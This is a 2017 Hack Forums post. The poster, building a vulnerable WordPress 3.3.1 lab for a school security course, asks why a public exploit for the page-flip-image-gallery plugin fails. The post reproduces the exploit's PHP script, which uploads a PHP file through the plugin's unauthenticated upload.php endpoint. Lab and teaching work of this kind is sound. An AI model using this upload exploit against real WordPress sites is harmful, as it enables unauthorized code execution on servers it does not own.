+- Hack Forums (https://hackforums.net)
+-- Forum: Hacks, Exploits, and Various Discussions (https://hackforums.net/forumdisplay.php?fid=45)
+--- Forum: Grayhat • Purple Team • Hybrid Security (https://hackforums.net/forumdisplay.php?fid=449)
+---- Forum: Website Hacking (https://hackforums.net/forumdisplay.php?fid=43)
+---- Thread: Getting vulnerability wordpress plugin working for exam (/showthread.php?tid=5759493)
Getting vulnerability wordpress plugin working for exam - Jonexi - Nov 28, 2017
So, Im currently working at school project where we create vulnerability systems so students can learn how to defensive it.
We have antique Ubuntu LAMP where is wordpress 3.3.1. Im trying get this plugins working: exploit_com 30084. I have installed the plugin correctly and then tried attack from Kali 17.2 with this .php, but nothing happens. It dont tell anything and file.php doesnt find at LAMP_ip/wp-content/uploads/file.php
PHP Code:
Code
<?php
$uploadfile="file.php";
$ch = curl_init("
LAMP_ip/wp-content/plugins/page-flip-image-gallery/upload.php");
curl_setopt($ch, CURLOPT_POST, true);
curl_setopt($ch, CURLOPT_POSTFIELDS,
array('orange_themes'=>"@$uploadfile")); curl_setopt($ch,
CURLOPT_RETURNTRANSFER, 1);
$postResult = curl_exec($ch);
curl_close($ch); print "$postResult";
?>It doesnt have to be this plugin what to use, but I need 1-3 vulnerability wordpress plugin working soon. Can someone tell where Im going wrong? :hitheadtodesk: